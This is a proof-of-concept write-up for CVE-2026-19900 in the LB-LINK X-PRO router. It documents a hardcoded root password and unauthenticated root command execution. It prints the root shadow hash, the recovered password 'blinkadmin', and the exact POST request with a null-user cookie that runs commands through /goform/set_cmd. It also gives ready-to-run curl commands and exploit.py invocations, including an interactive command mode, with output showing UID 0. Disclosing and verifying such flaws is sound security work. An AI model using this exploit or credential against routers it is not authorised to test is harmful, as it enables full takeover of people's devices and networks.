Python PoC for CVE-2026-19900: verifies unauthenticated root command execution via the LB-LINK X-PRO /goform/set_cmd endpoint and documents the hardcoded /etc/shadow credential.
CVE-2026-19900 identifies a hard-coded credential vulnerability affecting the LB-LINK X-PRO running firmware 1.0.22-20231206.
The firmware analysis identifies a hard-coded root password stored in /etc/shadow. The password was recovered from the firmware hash and is also reported to be reused by other security-related components.
Separate public research and proof-of-concept implementations demonstrate command execution through the router's /goform/set_cmd endpoint.
I developed a Python PoC to test this behaviour. The script submits commands over HTTP, checks whether command output is returned, and provides a command interface for further verification.
During testing, the target returned a unique verification marker. Running id confirmed that commands were executing with numeric UID 0.
This is root-level command execution through the router's HTTP interface.
| Field | Details |
|---|---|
| CVE | CVE-2026-19900 |
| Vendor | LB-LINK |
| Product | X-PRO / AC1200 X-PRO (AC6) |
| Affected firmware | 1.0.22-20231206 |
| Firmware image | X-PRO(AC6)_Dual_V1.0.22-20231206-upgrade.bin |
| Component identified by CVE | /etc/shadow |
| Weaknesses | CWE-259, CWE-798 |
| Attack vector | Network |
| Privileges required | None in the published CVE assessment |
| CVSS v3.1 | 8.1 — High |
| Publication date | 15 August 2026 |
CVSS note: Public vulnerability databases do not consistently display the same CVSS v4.0 score. Some list 9.2 Critical, while Rapid7 lists 8.2 High. The CVSS v3.1 score is reported as 8.1 High. Check the linked CVE record for the latest scoring information.
References:
The published firmware analysis identifies the affected device as the B-Link AC1200 X-PRO (AC6), using a MediaTek MT7621 platform.
The analysed firmware image is:
X-PRO(AC6)_Dual_V1.0.22-20231206-upgrade.bin
The reported software environment includes:
Base system: LEDE 17.01-SNAPSHOT
Kernel: Linux 4.4.198
Architecture: mipsel_24kc
SoC: MediaTek MT7621
These platform details are taken from the published firmware research. They should not be assumed to describe every LB-LINK product or firmware revision.
The firmware analysis identifies a root account entry in /etc/shadow:
root:$1$ZvjIxpIk$O1X0HkvJuq4NEv5fDnsC5/:18557:0:99999:7:::
The password field uses the MD5-crypt format.
The published analysis reports that the hash resolves to:
blinkadmin
The password can be checked offline against the reported hash:
openssl passwd -1 -salt 'ZvjIxpIk' 'blinkadmin'
Expected result:
$1$ZvjIxpIk$O1X0HkvJuq4NEv5fDnsC5/
This confirms that the supplied password reproduces the published hash. It does not, by itself, prove that SSH or another remote login service is enabled on a particular device.
The firmware research also reports reuse of blinkadmin as the backup/restore encryption key and firmware verification string. Reusing one embedded secret across unrelated security functions creates a single point of failure.
Reference:
DavCloudz — LB-LINK AC1200 X-PRO Hardcoded Credentials Vulnerability
/goform/set_cmdThe command execution PoC communicates with the following endpoint:
/goform/set_cmd
The supplied exploit constructs an HTTP POST request containing a URL-encoded cmd parameter.
The request includes:
POST /goform/set_cmd HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: user=(null)
cmd=id
The important parts of the request are:
| Element | Value |
|---|---|
| Method | POST |
| Endpoint | /goform/set_cmd |
| Content type | application/x-www-form-urlencoded |
| Cookie | user=(null) |
| Parameter | cmd |
| Response field | cmdinfo |
The client reads the returned JSON and extracts the cmdinfo field. This is where the command output is displayed.
The PoC does not perform a normal login first. It sends the request with the null-user cookie.
The Python PoC generates a random marker and submits it using an echo command.
The returned response is checked for that marker.
A matching marker confirms that the command was executed and its output was returned.
The verification logic is:
marker = randstr()
out = self.run(f"echo {marker}")
if out is not None and marker in out:
good(f"vulnerable - command output confirmed ({marker})")
This is more useful than relying on an HTTP status code alone. A successful HTTP response does not necessarily mean the supplied command was executed.
The following command was executed through the HTTP command interface:
id
The returned output was:
uid=0(admin) gid=0(admin)
The username displayed is admin, but the numeric UID is 0.
That is the important part.
The command is executing with root-level privileges. This is not merely an ordinary administrative web-interface response.
exploit.py scriptrequestsInstall the dependency:
python3 -m pip install requests
Set the target to the address of your own test router.
Check mode
python3 exploit.py -t http://192.168.1.1:8080 --check
The script sends a randomly generated marker and checks whether it appears in the command output.
Execute a benign command
python3 exploit.py -t http://192.168.1.1:8080 -c "id"
Check the operating system
python3 exploit.py -t http://192.168.1.1:8080 -c "uname -a"
Interactive HTTP command interface
python3 exploit.py -t http://192.168.1.1:8080 -i
The interactive interface accepts commands and sends each one through a separate HTTP POST request.
It is not a conventional terminal session, does not allocate a PTY, and does not establish a reverse shell. The shell~$ prompt is provided by the local Python client.
Use these options only against devices you own or have explicit permission to test.
The following checks use benign commands and are intended for an isolated, authorised test environment.
Set the target:
TARGET="http://192.168.1.1:8080"
Submit a unique marker:
curl -i -sS -X POST "$TARGET/goform/set_cmd" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: user=(null)" \
--data-urlencode "cmd=echo CVE19900-MARKER"
Expected behaviour:
The response should contain the supplied marker in its command output if the command was executed.
A typical JSON response structure is shown below for explanation only. It is not a captured response from the test:
{
"type": "setcmd",
"cmd": "echo CVE19900-MARKER",
"cmdinfo": "CVE19900-MARKER"
}
The decisive evidence is the returned marker, not HTTP 200 alone.
Submit:
curl -i -sS -X POST "$TARGET/goform/set_cmd" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: user=(null)" \
--data-urlencode "cmd=id"
Inspect the cmdinfo field.
A result containing:
uid=0
confirms that the command is running with UID 0.
A non-zero UID would still demonstrate command execution, but would not establish root-level execution.